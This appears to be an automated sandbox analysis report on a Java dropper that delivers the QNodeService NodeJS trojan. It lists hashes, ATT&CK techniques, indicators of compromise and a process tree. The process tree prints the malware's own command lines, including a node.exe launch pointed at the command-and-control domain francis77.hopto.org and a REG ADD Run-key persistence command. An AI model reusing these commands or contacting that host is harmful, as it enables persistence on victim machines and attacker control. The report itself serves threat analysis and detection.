qnodeservice | b2c354aae67e95b12966f36229ad10d871c27fa4f733f9cedc35effc65e32e7b

General

Target

Trans-Advice15-10-2020.jar
Size

353KB
MD5

ea87033374ee2fec133aa74327e30a1b
SHA1

c888a95a60ff2747c1338360e8afc81d8c78a8fb
SHA256

b2c354aae67e95b12966f36229ad10d871c27fa4f733f9cedc35effc65e32e7b
SHA512

284753ce2430fbe3cfd625dd3674f9b2a076baf7b2652c008e66534730eed127ff2eb5365290008c8d617eff1b0d713953432951662ea22ef7a64bbea8a51c6f

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
668	node.exe
2252	node.exe
2228	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\407ee58d-63d1-47fa-b7fb-20427e68cbfe = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001adad-166.dat	js
behavioral2/files/0x000100000001adad-171.dat	js
behavioral2/files/0x000100000001adad-175.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	wtfismyip.com
18	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
668	node.exe
668	node.exe
668	node.exe
668	node.exe
2252	node.exe
2252	node.exe
2252	node.exe
2252	node.exe
2228	node.exe
2228	node.exe
2228	node.exe
2228	node.exe
2228	node.exe
2228	node.exe
2228	node.exe
2228	node.exe
2228	node.exe
2228	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1756 wrote to memory of 2640	1756	java.exe	76
PID 1756 wrote to memory of 2640	1756	java.exe	76
PID 2640 wrote to memory of 668	2640	javaw.exe	78
PID 2640 wrote to memory of 668	2640	javaw.exe	78
PID 668 wrote to memory of 2252	668	node.exe	80
PID 668 wrote to memory of 2252	668	node.exe	80
PID 2252 wrote to memory of 2228	2252	node.exe	81
PID 2252 wrote to memory of 2228	2252	node.exe	81
PID 2228 wrote to memory of 2040	2228	node.exe	83
PID 2228 wrote to memory of 2040	2228	node.exe	83
PID 2040 wrote to memory of 1672	2040	cmd.exe	84
PID 2040 wrote to memory of 1672	2040	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Trans-Advice15-10-2020.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:1756
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\6bf2664a.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2640
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain francis77.hopto.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:668
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SeJOCa\boot.js --hub-domain francis77.hopto.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2252
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SeJOCa\boot.js --hub-domain francis77.hopto.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2228
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "407ee58d-63d1-47fa-b7fb-20427e68cbfe" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2040
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "407ee58d-63d1-47fa-b7fb-20427e68cbfe" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1672

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/668-168-0x0000018034440000-0x0000018034441000-memory.dmp

Filesize
4KB

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memory/2228-176-0x000003EF9F5C0000-0x000003EF9F5C1000-memory.dmp

Filesize
4KB

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memory/2252-172-0x00000287AF100000-0x00000287AF101000-memory.dmp

Filesize
4KB

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